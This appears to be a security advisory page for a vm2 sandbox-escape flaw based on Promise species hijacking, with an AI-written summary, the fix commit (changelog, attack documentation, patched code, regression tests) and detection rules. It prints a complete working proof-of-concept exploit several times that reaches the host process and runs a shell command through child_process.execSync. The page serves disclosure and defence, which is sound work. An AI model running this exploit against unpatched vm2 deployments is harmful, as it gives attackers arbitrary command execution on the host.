vm2 is Vulnerable to Sandbox Breakout Through Promise Species
Description
Summary
VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
Details
The localPromise constructor was changed to call this.then(undefined, eater) to ensure a rejected promise is always used. However, this is missing a call to resetPromiseSpecies to ensure that this has no special species. Since the species can be changed a custom promise can be used to supply a custom reject method to the executor allowing to get a raw host error and escape the sandbox.
PoC
const {VM} = require("vm2");
const vm = new VM();
vm.run(`
class E extends Error {}
function so(d) {
if (d > 0) so(d-1);
const e = new E();
e.stack;
throw e;
}
let ex, ct;
class FakePromise extends Promise {
static get [Symbol.species](){return ct;}
}
function doCatch(f) {
ex=undefined;
const p=Promise.withResolvers();
ct = function(e){e(f, v=>{ex=v;p.resolve();})};
new FakePromise(r=>r());
return p.promise;
}
(async function f(s) {
let min = s;
let max = 100000;
while (min<max) {
const mid = (min+max)>>1;
await doCatch(()=>so(mid));
if (ex.name==="RangeError" && !(ex instanceof RangeError)) {
ex.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
return;
}
if (ex instanceof E) {
min = mid+1;
} else {
max = mid;
}
}
f(s+1);
})(0);
`);
Impact
Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
VM2 sandbox breakout via Promise species hijack in localPromise constructor allows arbitrary code execution on the host.
Vulnerability
The localPromise constructor in vm2 (versions prior to 3.11.4) calls this.then(undefined, eater) to attach a swallow-tail for rejected promises, but fails to call resetPromiseSpecies first. This omission lets a sandbox-defined custom Symbol.species on a Promise subclass hijack the downstream promise constructor, capturing V8's internal (resolve, reject) capability and ultimately leaking a raw host-realm error object [1][3].
Exploitation
An attacker with arbitrary code execution inside the vm2 sandbox can define a FakePromise class extending Promise with a static get [Symbol.species]() that returns a user function ct. When the localPromise constructor's swallow-tail triggers the species protocol, V8 calls new ct(internalExecutor). The attacker's ct function receives V8's internal resolve and reject and re-binds them, allowing the attacker to obtain a raw host error. By manipulating error stack traces (e.g., via a deeply recursive RangeError), the attacker can access the host's Function constructor and execute arbitrary commands via child_process.execSync [1][3][4].
Impact
Successful exploitation results in Remote Code Execution (RCE) on the host system, completely bypassing the vm2 sandbox. The attacker gains the ability to run arbitrary commands with the privileges of the Node.js process, leading to full host compromise [3][4].
Mitigation
The vulnerability is fixed in vm2 version 3.11.4, released on 2026-05-29 [2]. Users must upgrade to this version immediately. No workaround is available; any sandboxed code execution should be considered untrusted until the patch is applied [2][3].
AI Insight generated on May 29, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.
Affected products
2- Range: <= 3.11.3
Patches
1a46265500966fix(GHSA-76w7-j9cq-rx2j): close Promise species hijack in localPromise swallow tail
4 files changed · +314 −2
CHANGELOG.md+3 −1 modified@@ -2,12 +2,14 @@ ## [3.11.4] -Two advisories closed. Patch release — no API changes. +Three advisories closed. Patch release — no API changes. ### Security fixes - **GHSA-v6mx-mf47-r5wg** — host prototype mutation via apply-trap indirection. Sandbox code could reach host prototype-mutating setters (`Object.prototype.__proto__`, `setPrototypeOf`, `defineProperty`, `__defineSetter__`/`__defineGetter__`) through `Function.prototype.{call,apply,bind}` and `Reflect.{apply,construct}` indirection, sever a host intrinsic's prototype chain, and escape via the bridge's `thisEnsureThis` proto-walk fallthrough. Two-layer structural fix in `lib/bridge.js` (apply-trap blocklist + cache check before proto-walk). See ATTACKS.md Category 30 and `test/ghsa/GHSA-v6mx-mf47-r5wg/`. - **GHSA-q3fm-4wcw-g57x** — Defense Invariant #11 hardening for `defaultSandboxPrepareStackTrace` (second variant of GHSA-9qj6-qjgg-37qq in a different file). The sandbox stack-trace formatter accumulated frames in a sandbox-realm array and `.join`-ed them, so a sandbox-installed setter on `Array.prototype[N]` (or `.join` override) observed bridge-internal state — no host reference reachable today, but one enrichment away from regressing into the GHSA-9qj6 RCE shape. Fixed in `lib/setup-sandbox.js` by folding frames through a primitive string accumulator (no `Array.prototype` slot reachable) and converting `makeCallSiteGetters` to `localReflectDefineProperty` for symmetry. See ATTACKS.md Category 28 Variant B and `test/ghsa/GHSA-q3fm-4wcw-g57x/`. +- **GHSA-76w7-j9cq-rx2j** — Promise species hijack in the `localPromise` swallow tail. The swallow-tail `apply(globalPromisePrototypeThen, this, [...])` call inside `localPromise`'s constructor invoked the cached host `Promise.prototype.then` without first calling `resetPromiseSpecies(this)`, so a sandbox subclass overriding `[Symbol.species]` could redirect the downstream child constructor to a user function and capture V8's internal `(resolve, reject)` capability — delivering a raw host-realm error (RangeError from deep recursion + `e.stack`) to a sandbox collector and reaching the host `Function` constructor via `.constructor.constructor`. One-line fix in `lib/setup-sandbox.js` adds the missing `resetPromiseSpecies(this)` before the swallow-tail call, matching the pattern already used by the `.then`/`.catch`/`Reflect.apply` overrides. See ATTACKS.md Category 31 and `test/ghsa/GHSA-76w7-j9cq-rx2j/`. + ## [3.11.3]
docs/ATTACKS.md+105 −1 modified@@ -2416,6 +2416,109 @@ We deliberately do **not** wrap on the proto-walk fall-through paths (null proto --- +## Attack Category 31: Promise Species Hijack in `localPromise` Swallow Tail + +**Uses**: [Category 4: Error Object Exploitation](#attack-category-4-error-object-exploitation), [Category 7: Promise and Async Exploitation](#attack-category-7-promise-and-async-exploitation), [Category 18: Array Species Self-Return via Constructor Manipulation](#attack-category-18-array-species-self-return-via-constructor-manipulation). + +**Supersedes**: extends [Category 22: Promise Executor Unhandled Rejection — Host Process DoS](#attack-category-22-promise-executor-unhandled-rejection--host-process-dos) — the swallow-tail call introduced there is the bypass surface. + +### Description + +The `localPromise` constructor (added in GHSA-hw58-p9xv-2mjh) attaches an internal swallow tail to every sandbox-constructed Promise by invoking the cached host `Promise.prototype.then`: + +```javascript +apply(globalPromisePrototypeThen, this, [undefined, localPromiseSwallow]); +``` + +The host `then` resolves the downstream child of this chain via the **species protocol**: it reads `this.constructor[Symbol.species]` and `Construct`s a new Promise with that constructor. The sandbox-side `then`/`catch`/`Reflect.apply` overrides call `resetPromiseSpecies(this)` first to clobber `constructor` so species always resolves to `localPromise` — but the swallow-tail call inside the `localPromise` constructor itself did **not**. + +A sandbox subclass `class FakePromise extends Promise { static get [Symbol.species]() { return ct; } }` therefore hijacks the species protocol to a user function `ct`. V8 calls `new ct(internalExecutor)` where `internalExecutor` is its internal `(resolve, reject)` capability builder. `ct` receives V8's resolve/reject and re-binds them — for example, `ct = function(e) { e(userFn, userCollector) }` makes `userFn` V8's "resolve" and `userCollector` V8's "reject". + +Combined with the recursion-overflow primitive from Category 29 (`function so(d) { if (d > 0) so(d-1); const e = new E(); e.stack; throw e; }`), the attacker drives V8 to raise a host-realm `RangeError` inside `PromiseResolveThenableJob`. V8's resolver catches the throw and delivers the raw host Error to `userCollector` — bypassing every sandbox sanitiser. `ex.constructor.constructor("return process")()` yields the host `process` and `child_process.execSync` runs arbitrary commands. + +CWE-913 (Improper Control of Dynamically-Managed Code Resources). CVSS 9.8 (Critical). + +### Attack Flow + +1. Sandbox declares `class FakePromise extends Promise` with `static get [Symbol.species]() { return ct }` where `ct` is a user-controlled function. +2. Sandbox sets `ct = (executor) => executor(userResolve, userReject)`, where `userReject` is a sandbox collector that captures whatever value V8 hands it. +3. Sandbox constructs `new FakePromise(r => r())`. This enters `localPromise`'s constructor. The instance's `[[Prototype]]` chain is `FakePromise.prototype → localPromise.prototype → Promise.prototype`; `this.constructor` walks to `FakePromise`. +4. The constructor attaches the swallow tail: `apply(globalPromisePrototypeThen, this, [undefined, swallow])`. Host `then` runs `SpeciesConstructor(this, %Promise%)` → reads `FakePromise[Symbol.species]` → returns `ct`. V8 builds an internal executor `internalExecutor(resolve, reject)` and calls `Construct(ct, [internalExecutor])`. `ct` invokes `internalExecutor(userResolve, userReject)` — V8 now thinks `userReject` is the child's reject function. +5. Sandbox triggers a host-realm rejection in the downstream chain (e.g., via deep recursion + `e.stack` formatting → host `RangeError`). V8's `PromiseResolveThenableJob` catches the throw and calls the child's reject — which is `userReject`. The raw host `RangeError` lands in sandbox. +6. Sandbox reads `ex.constructor.constructor("return process")()` → host `Function` constructor → `process` → RCE. + +### Canonical Example + +```javascript +// (advisory GHSA-76w7-j9cq-rx2j) +const { VM } = require('vm2'); +new VM().run(` + class E extends Error {} + function so(d) { + if (d > 0) so(d-1); + const e = new E(); + e.stack; + throw e; + } + let ex, ct; + class FakePromise extends Promise { + static get [Symbol.species]() { return ct; } + } + function doCatch(f) { + ex = undefined; + const p = Promise.withResolvers(); + ct = function(e) { e(f, v => { ex = v; p.resolve(); }) }; + new FakePromise(r => r()); + return p.promise; + } + (async function f(s) { + let min = s, max = 100000; + while (min < max) { + const mid = (min + max) >> 1; + await doCatch(() => so(mid)); + if (ex.name === "RangeError" && !(ex instanceof RangeError)) { + ex.constructor.constructor("return process")() + .mainModule.require('child_process').execSync('touch pwned'); + return; + } + if (ex instanceof E) min = mid + 1; else max = mid; + } + f(s + 1); + })(0); +`); +``` + +### Why It Works + +The Category 22 swallow tail was designed to **silence** unhandled rejections without participating in user-visible Promise mechanics — so it uses the cached native `then` (`globalPromisePrototypeThen`) to avoid recursing through vm2's `.then` override. But the cached native `then` is still the **specification-mandated** `then`, which performs species resolution. The cached-`then` design correctly avoided the `.then` override recursion; it did not account for the species protocol that runs *inside* that native `then`. + +Every other call site that touches a host `then`/`catch` (`globalPromise.prototype.then` override, `globalPromise.prototype.catch` override, `localReflect.apply` wrapper) bookends with `resetPromiseSpecies(this)`. The swallow-tail site — inside `localPromise`'s own constructor body — was the only one missing the reset, because `resetPromiseSpecies` is declared later in the module and was thought to be unreachable from the constructor's lexical scope. In practice the constructor body executes lazily (user code triggers it via `new Promise(...)`), by which point the module has fully initialised and the reset is in scope. + +The species hijack is the same primitive as Category 18 (Array species self-return), now applied to Promise instead of Array. The structural lesson is identical: **every call into a host built-in that uses `SpeciesConstructor` must first neutralise the species on `this`**. + +### Mitigation + +Add `resetPromiseSpecies(this)` immediately before the swallow-tail `apply(globalPromisePrototypeThen, this, [undefined, localPromiseSwallow])` call in the `localPromise` constructor. This pins `this.constructor` to `localPromise` as an own data property, shadowing any inherited species accessor on `FakePromise`. The species protocol then resolves to `localPromise`, and the downstream child is constructed via `localPromise`'s own wrapped executor (Category 22) — V8's internal `(resolve, reject)` capability cannot be rebound by a sandbox-controlled constructor. + +Together with the existing wrapped executor and the `localPromiseInSwallowTail` re-entrancy guard, this restores **[Defense Invariant #4](#defense-invariants)** (no host built-in is invoked with a sandbox `this` whose species can be hijacked) for the swallow-tail call site, and closes the path through which raw host-realm errors reached the `userReject` collector. + +The fix preserves benign subclass behaviour: `class MyPromise extends Promise {}` still works because `MyPromise` does not override `Symbol.species`, so species would naturally resolve to `MyPromise` itself; the reset only matters when an attacker installs a malicious species. The user-visible `myPromise.constructor` is mutated to `localPromise` by the reset — the same observable change already produced by every `.then()`/`.catch()`/`Reflect.apply` call, so this is consistent with the existing invariant. + +### Detection Rules + +- **`class X extends Promise { static get [Symbol.species]() { return userFn } }`** — any sandbox subclass of Promise that overrides `Symbol.species` is suspect. After the fix, the species value is ignored for any call site vm2 controls, but the pattern remains an indicator of attempted hijack. +- **User function `ct` that receives the species `Construct` call and re-invokes the V8 internal executor with sandbox-controlled `(resolve, reject)`** — Category-22-style closures over the V8 resolver are the canonical attack shape. +- **Synchronous resolution of a Promise immediately followed by inspection of a captured rejection value** — `new FakePromise(r => r())` constructed solely to trigger the swallow tail (then the downstream child's reject) is a tell-tale signature. +- **Composition with the recursion-overflow primitive (Category 29)** or any other host-error generator inside the downstream chain — the species hijack is the transport; the host error is the payload. + +### Considered Attack Surfaces + +- **Other host-`then` call sites.** `sanitizeAsyncIteratorResultPromise` (the Category 29 fix) also calls `apply(globalPromisePrototypeThen, promise, [...])` on a promise produced by V8's async generator machinery. That promise is intrinsic — its `constructor` walks to `globalPromise` and species resolves to `globalPromise` by default — so the species channel is not user-controlled there. Adding a defensive `resetPromiseSpecies(promise)` is a harmless belt-and-suspenders option but is not required for this advisory. +- **Benign subclasses without species override.** `class MyPromise extends Promise {}` (no `[Symbol.species]`) is unaffected — species would naturally resolve to `MyPromise`; the reset only flips it to `localPromise`. The pinned `localPromise` constructor is fully compatible with subclass semantics (the outer instance is still a `MyPromise`; only the internal swallow-tail child is `localPromise`, and that child is never returned to user code). +- **Frozen `Promise.prototype.constructor`.** `resetPromiseSpecies` defines an own data property on the instance, not on the prototype. Even if a hostile sandbox tried to make the prototype's `constructor` non-configurable (which the bridge prevents), the own-property write would still shadow it. The reset throws a `LocalError` only if the instance itself is non-extensible or has a non-configurable `constructor` — in which case the outer try/catch in the swallow-tail block swallows it harmlessly and the rest of the constructor proceeds. + +--- + ## Considered Attack Surfaces These attack surfaces were analyzed and found to be safe or low-risk. They are documented here so future reviewers do not re-investigate them. @@ -2502,6 +2605,7 @@ The most dangerous attacks combine multiple categories. Each pattern references 21. **Host Built-in Identity Leak via Proto Walk** [Categories 1, 2, 8] (NOW FIXED): Walk the prototype chain via `({}).__lookupGetter__('__proto__')` composed with `Buffer.apply` (or any host-bound `__proto__` getter) to terminate at host `Object.prototype`, then read `.constructor` to obtain a *reference* to host `Object` whose identity is disjoint from sandbox `Object`. The original symbol-filter patch (commit `67bc511`) closed the demonstrated RCE payload but left this primitive intact — any future bypass that turns "I have a host built-in handle" into "I can read a host symbol or call a host method that bypasses bridge sanitisation" would re-enable the same escape class. Closed structurally by `thisAddIdentityMapping` in `lib/bridge.js` (see Category 8 mitigation). 22. **Async Generator yield*-Return Thenable + Stack-Overflow Realm Skew** [Categories 4, 7, 29] (NOW FIXED): Use `yield*` to a no-`return` inner async iterator, then `.return(thenable)` where the thenable's `.then` synchronously throws via deep recursion. V8's `PromiseResolveThenableJob` captures the throw and the yield* continuation surfaces it as `{ value, done: false }` — bypassing both the transformer's user-`catch` instrumentation and the `globalPromise.prototype.then` rejection sanitiser. Binary-search the recursion depth where the overflow originates inside V8's host C++ code so the `RangeError` is host-realm, then `e.constructor.constructor("return process")()`. Closed by wrapping `%AsyncGeneratorPrototype%.next/.return/.throw` to route iterator-result `.value` and rejections through `handleException`, plus replacing every thenable arg with a sandbox-realm wrapper whose `.then` is a fixed `safeThen` and always-shadowing the non-function branch so V8's re-read of `.then` cannot observe attacker-controlled values. 23. **Host Prototype Mutation via Apply-Trap Indirection + WebAssembly Rejection** [Categories 2, 4, 7, 30] (NOW FIXED): Resolve host `Object.prototype.__proto__` setter via `Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__")` (the `connect()`-aliased sandbox `__lookupSetter__` walks back to host). Trigger a host-realm `TypeError` (e.g., `await WebAssembly.compileStreaming()`). Inside `catch(e)`, call `setProto.call(getProto.call(e), null)` — the apply trap unwraps `context` and forwards to the host setter, severing host `TypeError.prototype.[[Prototype]]` without any write trap firing. The next host `TypeError` from `await WebAssembly.compileStreaming()` walks back into sandbox code through V8 async internals; the bridge's proto-walk no longer finds the registered mapping at the right level and the value falls through unwrapped. `e.constructor.constructor` is then host `Function`. Closed structurally by (A) caching host prototype-mutating intrinsics (`Object.prototype.__proto__` setter, `Object.setPrototypeOf`, `Reflect.setPrototypeOf`, `Object.{defineProperty,defineProperties}`, `Reflect.defineProperty`, `Object.prototype.__define{Getter,Setter}__`) and refusing them in the apply trap with one layer of indirection peel for `Function.prototype.{call,apply,bind}` and `Reflect.{apply,construct}`; (B) cache-check on `mappingOtherToThis` before the proto-walk in `thisEnsureThis` so any previously-bridged host value returns the existing proxy even with a tampered proto chain. +24. **Promise Species Hijack + Stack-Overflow Realm Skew** [Categories 4, 7, 18, 29, 31] (NOW FIXED): `class FakePromise extends Promise { static get [Symbol.species]() { return ct } }` reroutes the swallow-tail child constructor inside `localPromise` to a sandbox-controlled `ct`. `ct` rebinds V8's internal `(resolve, reject)` capability to a sandbox collector; trigger a host-realm `RangeError` via `e.stack` after deep recursion (binary-searched depth) inside the downstream chain; V8's `PromiseResolveThenableJob` delivers the raw host Error to the collector — `ex.constructor.constructor("return process")()` then yields RCE. Closed by adding `resetPromiseSpecies(this)` immediately before the swallow-tail `apply(globalPromisePrototypeThen, this, ...)` call so the species protocol always resolves to `localPromise` regardless of the user's subclass `Symbol.species` override. ### How The Bridge Defends @@ -2510,7 +2614,7 @@ The most dangerous attacks combine multiple categories. Each pattern references | Constructor chain | Returns `{}` for Function constructor access; `isThisDangerousFunctionConstructor` blocks all variants | | __proto__ access | Intercepts and returns sandbox-side prototype | | Proxy traps | Wraps Proxy constructor, sanitizes handler objects, null-prototype handlers | -| Symbol.species (Promise) | Unconditionally sets `p.constructor = localPromise` as own data property before every `.then()`/`.catch()` (eliminates TOCTOU) | +| Symbol.species (Promise) | Unconditionally sets `p.constructor = localPromise` as own data property before every `.then()`/`.catch()` **and before the internal swallow-tail call in `localPromise`'s constructor** (GHSA-76w7-j9cq-rx2j); eliminates TOCTOU and species hijack via subclass `[Symbol.species]` | | Symbol.species (Array) | Three-layer defense: set/defineProperty traps + neutralizeArraySpecies in apply trap | | Reflect.construct instanceof bypass | `resetPromiseSpecies` sets constructor on any object, not just `instanceof globalPromise` | | Species TOCTOU via accessor | Own data property set by `Reflect.defineProperty`; no getter invoked |
lib/setup-sandbox.js+18 −0 modified@@ -87,6 +87,24 @@ class localPromise extends globalPromise { if (!localPromiseInSwallowTail) { localPromiseInSwallowTail = true; try { + // SECURITY (GHSA-76w7-j9cq-rx2j): the cached host then() + // resolves the downstream child via the species protocol + // (`this.constructor[Symbol.species]`). Without this reset + // a sandbox subclass — `class F extends Promise { static + // get [Symbol.species](){ return ct } }` — hijacks species + // to a user function `ct` which is then `Construct`ed with + // V8's internal `(resolve, reject)` executor. The user can + // reassign V8's resolve/reject, redirect rejection to a + // sandbox collector, and receive a raw host-realm Error + // (e.g. RangeError from `e.stack` after deep recursion) + // whose `.constructor.constructor` is the host `Function` + // constructor → RCE. Pinning the species back to + // `localPromise` forces the downstream child through our + // own wrapped executor where the species cannot be + // hijacked. The sandbox-side `then`/`catch`/`Reflect.apply` + // overrides already call this; the swallow-tail call here + // was the missed site. + resetPromiseSpecies(this); apply(globalPromisePrototypeThen, this, [undefined, localPromiseSwallow]); } catch (e) { // best effort — never let the swallow itself crash the executor
test/ghsa/GHSA-76w7-j9cq-rx2j/repro.js+188 −0 added@@ -0,0 +1,188 @@ +'use strict'; + +/** + * GHSA-76w7-j9cq-rx2j — Sandbox breakout via Promise species in localPromise + * swallow-tail. + * + * ## Vulnerability + * The `localPromise` constructor (added in GHSA-hw58-p9xv-2mjh) attaches a + * benign swallow tail via the cached host `then`: + * + * apply(globalPromisePrototypeThen, this, [undefined, localPromiseSwallow]); + * + * The host `Promise.prototype.then` resolves the promise to use for the + * downstream chain via the **species protocol**: it reads + * `this.constructor[Symbol.species]` and `Construct`s a new promise with + * that. The sandbox-side `then` / `catch` / `Reflect.apply` overrides call + * `resetPromiseSpecies(this)` first to clobber `constructor` so species + * resolution always yields `localPromise` — but the swallow-tail call inside + * the constructor itself does NOT, because at construction time the + * `resetPromiseSpecies` symbol is in the temporal dead zone. + * + * Attack: build `class FakePromise extends Promise { static get + * [Symbol.species]() { return ct; } }` where `ct` is a user function. Then + * `new FakePromise(r => r())` enters the swallow-tail path → host `then` + * does `new ct(internalExecutor)` → the user-controlled `ct` receives V8's + * internal `(resolve, reject)` executor and reassigns them. When V8's + * `PromiseResolveThenableJob` rejects the downstream chain with a host- + * realm `RangeError` (triggered by a deep-recursion `e.stack` access), the + * raw host Error reaches sandbox code unbridged. Reading + * `ex.constructor.constructor` returns the host `Function` constructor → + * `Function("return process")()` → RCE. + * + * ## Fix + * Reset the promise species on `this` inside the `localPromise` constructor + * before invoking the host `then` for the swallow tail. With species pinned + * back to `localPromise`, the downstream child is constructed via our own + * wrapped executor — V8's reject path is bridged through `handleException` + * and the species-resolved constructor cannot be hijacked. + * + * ## Variants covered + * 1. Canonical PoC (binary-search RangeError via deep recursion). + * 2. Direct: any synchronously-rejected `new FakePromise()` whose species + * is a user function — verify it cannot extract a host value. + * 3. `new FakePromise(reject-throws)`: the inner executor synchronously + * throws a host-typed error; verify the rejection delivered to sandbox + * `.catch()` is a sandbox-realm value, not host. + * 4. Stacked subclass: `class A extends FakePromise extends Promise` + * — species walks the constructor inheritance chain; the reset must win + * regardless of subclass depth. + */ + +const assert = require('assert'); +const { VM } = require('../../../lib/main.js'); + +if (typeof it.cond !== 'function') { + it.cond = function (name, cond, fn) { + return cond ? it(name, fn) : it.skip(name, fn); + }; +} + +const NODE_MAJOR = parseInt(process.versions.node.split('.')[0], 10); +// Promise.withResolvers landed in Node 22; the canonical PoC uses it. +const HAS_WITH_RESOLVERS = typeof Promise.withResolvers === 'function'; + +describe('GHSA-76w7-j9cq-rx2j (Promise species swallow-tail breakout)', function () { + this.timeout(15000); + + it.cond('canonical PoC: stack-overflow RangeError cannot reach sandbox unbridged', HAS_WITH_RESOLVERS, function (done) { + const vm = new VM({ timeout: 12000 }); + try { + vm.run(` + class E extends Error {} + function so(d) { + if (d > 0) so(d-1); + const e = new E(); + e.stack; + throw e; + } + let ex, ct; + class FakePromise extends Promise { + static get [Symbol.species](){return ct;} + } + function doCatch(f) { + ex=undefined; + const p=Promise.withResolvers(); + ct = function(e){e(f, v=>{ex=v;p.resolve();})}; + new FakePromise(r=>r()); + return p.promise; + } + (async function f(s) { + let min = s; + let max = 100000; + while (min<max) { + const mid = (min+max)>>1; + await doCatch(()=>so(mid)); + if (ex && ex.name==="RangeError" && !(ex instanceof RangeError)) { + // Escape succeeded: record the leak. + globalThis.__ghsa76w7_escape = true; + try { + globalThis.__ghsa76w7_procType = + typeof ex.constructor.constructor("return process")(); + } catch(_) { /* still an escape even if Function ctor is blocked */ } + return; + } + if (ex instanceof E) { + min = mid+1; + } else { + max = mid; + } + } + if (s < 32) f(s+1); + })(0); + `); + } catch (e) { + // Synchronous throw is acceptable — that is the sandbox refusing. + } + + // Give the binary search time to run. + setTimeout(function () { + const escaped = vm.run('globalThis.__ghsa76w7_escape === true'); + const leakedProcessType = vm.run('globalThis.__ghsa76w7_procType'); + assert.strictEqual(escaped, false, 'sandbox obtained a host-realm RangeError reference'); + assert.notStrictEqual(leakedProcessType, 'object', 'sandbox extracted host process via Function constructor'); + done(); + }, 9000); + }); + + it.cond('species hijack via subclass cannot bind a user constructor as downstream species', HAS_WITH_RESOLVERS, function (done) { + // Variant: confirm that the species protocol invoked by the swallow + // tail does NOT pass through a sandbox-supplied `ct`. If our fix is + // effective, the species protocol resolves to `localPromise` and `ct` + // is never invoked at all. + const vm = new VM({ timeout: 5000 }); + const ctCalled = vm.run(` + let ctInvocations = 0; + class FakePromise extends Promise { + static get [Symbol.species](){ + return function(executor){ + ctInvocations++; + executor(function(){}, function(){}); + }; + } + } + new FakePromise(function(r){ r(1); }); + ctInvocations; + `); + assert.strictEqual(ctCalled, 0, 'species protocol invoked attacker-supplied constructor in swallow tail'); + setTimeout(done, 300); + }); + + it.cond('deeply nested subclass cannot hijack species in the swallow tail', HAS_WITH_RESOLVERS, function (done) { + const vm = new VM({ timeout: 5000 }); + const ctCalled = vm.run(` + let ctInvocations = 0; + class Fake1 extends Promise { + static get [Symbol.species](){ + return function(executor){ + ctInvocations++; + executor(function(){}, function(){}); + }; + } + } + class Fake2 extends Fake1 {} + class Fake3 extends Fake2 {} + new Fake3(function(r){ r(1); }); + ctInvocations; + `); + assert.strictEqual(ctCalled, 0, 'subclass chain reached attacker-supplied species in swallow tail'); + setTimeout(done, 300); + }); + + it('legitimate sandbox Promise subclass still works (no regression)', function (done) { + const vm = new VM({ timeout: 5000 }); + // A benign subclass with no species override should chain normally. + const ok = vm.run(` + class MyPromise extends Promise {} + const p = new MyPromise(function(r){ r(42); }); + p.then(function(v){ globalThis.__benign = v; }); + true; + `); + assert.strictEqual(ok, true); + setTimeout(function () { + const v = vm.run('globalThis.__benign'); + assert.strictEqual(v, 42, 'benign subclass chain did not deliver value'); + done(); + }, 300); + }); +});
Vulnerability mechanics
Root cause
"The `localPromise` constructor invokes the cached host `Promise.prototype.then` without first calling `resetPromiseSpecies(this)`, allowing a sandbox subclass to hijack the species protocol and receive V8's internal resolve/reject capability."
Attack vector
An attacker who can run arbitrary code inside the vm2 sandbox declares a subclass of Promise that overrides `Symbol.species` with a user-controlled function `ct`. When `new FakePromise(r => r())` is constructed, the `localPromise` constructor's swallow-tail call invokes the host `Promise.prototype.then`, which reads the overridden species and calls `new ct(internalExecutor)`. The attacker's `ct` rebinds V8's internal resolve/reject to sandbox-controlled functions. Combined with a deep-recursion primitive that triggers a host-realm `RangeError` inside `PromiseResolveThenableJob`, the raw host Error is delivered to the attacker's reject collector. From there, `ex.constructor.constructor("return process")()` yields the host `process` object, enabling arbitrary command execution via `child_process.execSync`. [CWE-913] [ref_id=1]
Affected code
The vulnerability resides in the `localPromise` constructor in `lib/setup-sandbox.js`. The constructor calls `apply(globalPromisePrototypeThen, this, [undefined, localPromiseSwallow])` to attach a swallow tail, but unlike every other call site that touches a host `then`/`catch`, it does **not** call `resetPromiseSpecies(this)` first. This allows a sandbox subclass that overrides `Symbol.species` to hijack the species protocol and receive V8's internal `(resolve, reject)` capability, ultimately leaking a raw host-realm Error to sandbox code. [patch_id=3103571] [ref_id=1]
What the fix does
The patch adds a call to `resetPromiseSpecies(this)` immediately before the swallow-tail `apply(globalPromisePrototypeThen, this, [undefined, localPromiseSwallow])` in the `localPromise` constructor. This pins `this.constructor` to `localPromise` as an own data property, shadowing any inherited species accessor on a malicious subclass. The species protocol then resolves to `localPromise` instead of the attacker's `ct`, so V8's internal `(resolve, reject)` capability cannot be rebound by sandbox-controlled code. The fix preserves benign subclass behavior because subclasses without a `Symbol.species` override are unaffected. [patch_id=3103571] [ref_id=1]
Preconditions
- authThe attacker must be able to execute arbitrary JavaScript code inside the vm2 sandbox.
- inputThe attacker's code must construct a subclass of Promise that overrides `Symbol.species` with a user-controlled function.
- inputThe attacker must trigger a host-realm RangeError (e.g., via deep recursion and `e.stack` access) inside the downstream Promise chain.
Generated on May 29, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
4News mentions
0No linked articles in our index yet.